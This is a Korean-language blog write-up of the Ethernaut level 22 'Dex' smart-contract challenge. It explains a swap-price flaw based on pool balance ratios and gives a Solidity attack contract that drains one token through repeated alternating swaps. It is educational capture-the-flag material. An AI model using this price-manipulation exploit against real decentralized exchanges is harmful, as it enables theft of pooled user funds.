Ethernaut 22. DEX

독수리박박·2024년 7월 28일
post-thumbnail

level 22. DEX

Problem


이번 문제는 유동성 풀에 존재하는 두가지 토큰 중 한가지의 토큰을 모두 탈취해야 합니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract Dex is Ownable {
    address public token1;
    address public token2;

    constructor() {}

    function setTokens(address _token1, address _token2) public onlyOwner {
        token1 = _token1;
        token2 = _token2;
    }

    function addLiquidity(address token_address, uint256 amount) public onlyOwner {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function swap(address from, address to, uint256 amount) public {
        require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
        uint256 swapAmount = getSwapPrice(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

    function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }

    function approve(address spender, uint256 amount) public {
        SwappableToken(token1).approve(msg.sender, spender, amount);
        SwappableToken(token2).approve(msg.sender, spender, amount);
    }

    function balanceOf(address token, address account) public view returns (uint256) {
        return IERC20(token).balanceOf(account);
    }
}

contract SwappableToken is ERC20 {
    address private _dex;

    constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
        ERC20(name, symbol)
    {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }

    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}

컨트랙트를 살펴보면 SwappableToken이 존재합니다. ERC20 표준을 따르고 있으며 이 서로 다른 두 토큰이 pair를 이루고 있습니다.

DEX 컨트랙트 내부에 approve가 구현되어 있고 한번만 발생시켜도 두 종류의 토큰 모두 한번에 approve할 수 있습니다. approve가 필요한 이유는 swap 과정에서 컨트랙트가 사용자의 토큰을 보낼 수 있도록 권한을 위윔한다고 생각하면 좋을거 같습니다.

이 문제는 유동성 풀에서 pair 중 한 토큰이 고갈되면 일어나는 문제에 대해서 물어보고 있습니다.
이런 문제는 잘못된 유동성 풀에 존재하는 토큰의 수량에 따른 가격 결정에서 일어나는 취약점이 공격받게 되면 발생하게 됩니다. 따라서 저희는 DEX 컨트랙트에 존재하는 가격 결정 시스템에 대해서 살펴보고 이를 이용해 pair token 중 한쪽 token을 모두 가져와야 합니다.

이렇게 되면 유동성풀은 의미가 없어지며 pair 토큰은 사용하지 못하게 되는 문제가 발생합니다.

Exploit


가격 결정 로직은 아래와 같습니다.

function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }

바꿀 수량*유동성풀 내에 존재하는 target token의 수량/유동성 풀 내에 존재하는 source token의 수량

현재 player는 두 종류의 토큰을 10개씩 가지고 있습니다. 그리고 유동성 풀 내에는 100개씩 존재하고 있습니다.

가격 조작

  1. token1을 모두 token2로 swap => player(tk1: 0, tk2: 20), pool(tk1: 110, tk2: 90)
  2. token2를 모두 token1로 swap => 받을 token1의 수량은 아래와 같습니다.

    20 * 110 / 90 => 24 tk1

보이시는 것처럼 처음에 20개의 token을 들고 시작했지만 이런식으로 한쪽 토큰을 모두 바꿔가며 가격을 조작해 점점 더 많은 토큰을 얻을 수 있습니다.

위 과정을 계속해서 반복하면 언젠가는 한쪽 풀에 존재하는 모두 token을 가져올 수 있을 것 입니다.

Solution


contract Attack {  
    Dex public target = Dex(0x37b934EdE7081A289B1054845a3d7fF7565aD533);

    address public token1 = target.token1();
    address public token2 = target.token2();

    function attack() public {
        target.approve(address(target), 10000);
        target.swap(token1, token2, 10); // pool: 100, 100 => return 10 token2
        target.swap(token2, token1, 20); // pool: 110, 90 => return 20*11/9 == 24 token1
        target.swap(token1, token2, 24); // pool: 86, 110 => return 24*110/86 == 30 token2
        target.swap(token2, token1, 30); // pool: 110, 80 => return 30*110/80 == 41 token1
        target.swap(token1, token2, 41); // pool: 69, 121 => return 41*121/69 == 71 token2
        target.swap(token2, token1, 45);  // pool: 110, 50 => return k*110/50 == 100 token1    k==45
    }
}

위와 같이 공격 컨트랙트를 작성했습니다. 여기서 유의해야할 점은 우선 token은 player에게 지급되었기 때문에 player가 공격 컨트랙트에 token을 전송해야줘야 합니다.

metamask에서 토큰의 주소를 통해 토큰을 가져오고 컨트랙트에 전송을 먼저 해줘야 합니다.

보이는 사진에서 토큰 가져오기를 클릭하고 토큰 주소를 입력하면 토큰을 가져올 수 있습니다. 주소는 아래와 같이 확인하면 됩니다..!

아니면 직접 approve, swap 함수를 실행시켜 해결할 수도 있습니다. 근데 너무 귀찮슴돠....

DEX를 구현할 때에는 가격결정 로직이 상당히 중요합니다. 만약 한쪽의 유동성이 고갈된다면 token pair를 모두 사용할 수 없기 때문에 조심해야 합니다.
대표적인 DEX 중 하나인 Uniswap의 문서들을 통해 어떻게 AMM의 종류와 로직에 대해 알 수 있습니다.

0개의 댓글